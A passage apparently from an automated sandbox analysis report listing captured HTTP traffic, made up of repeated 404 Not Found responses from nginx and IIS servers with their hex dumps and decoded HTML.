74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:13:41 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:13:41 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:13:39 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:13:44 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:13:45 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:13:48 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:13:42 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
